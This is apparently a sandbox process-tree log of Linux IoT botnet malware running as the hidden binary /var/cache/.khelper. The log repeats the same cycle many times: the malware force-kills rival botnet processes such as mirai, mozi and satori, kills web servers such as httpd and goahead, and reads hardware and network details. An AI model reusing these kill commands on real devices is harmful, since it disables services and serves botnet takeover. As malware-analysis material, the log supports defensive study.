/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1336
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1337
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1338
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1339
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1340
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1341
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1342
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1343
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1344
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1345
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1346
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1347
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- System Network Configuration Discovery
PID:1348
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1349
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1350
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1351
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1352
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1353
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1354
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1355
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1356
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1357
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1358
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1359
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1360
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1361
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1362
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1363
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1364
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1365
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1366
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1367
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1368
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1369
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1370
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1371
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1372
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1373
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1374
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1375
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1376
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1377
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1378
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:1379 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1380
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1381
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1382
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1383
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1384
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1385
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1386
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1387
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1388
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1389
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵
- Reads runtime system information
PID:1390
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1391
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1392
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1393
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1394
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1395
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1396
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1397
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1398
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1399
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1400
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1401
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1402
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1403
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1404
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1405
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1406
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1407
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1408
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1409
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1410
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1411
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1412
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1413
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1414
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1415
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1416
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1417
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1418
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1419
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1420
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1421
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1422
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1423
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1424
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1425
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1426
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Enumerates kernel/hardware configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1427
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1428
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1429
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1430
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1431
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1432
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1433
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1434
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1435
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1436
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1437
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1438
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
- Reads runtime system information
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1439
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1440
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1441
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1442
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1443
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1444
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1445
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1446
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1447
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1448
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1449
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1450
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1451
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1452
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1453
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1454
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:1455 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- System Network Configuration Discovery
PID:1456
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1457
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1458
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:1459 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1460
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1461
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1462
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1463
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1464
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1465
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1466
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1467
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1468
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1469
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1470
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1471
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1472
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1473
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1474
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1475
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1476
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1477
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1478
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1479
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1480
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1481
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1482
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1483
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1484
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1485
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1486
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1487
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- System Network Configuration Discovery
PID:1488
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1489
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1490
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1491
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1492
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1493
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1494
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1495
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1496
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1497
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1498
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
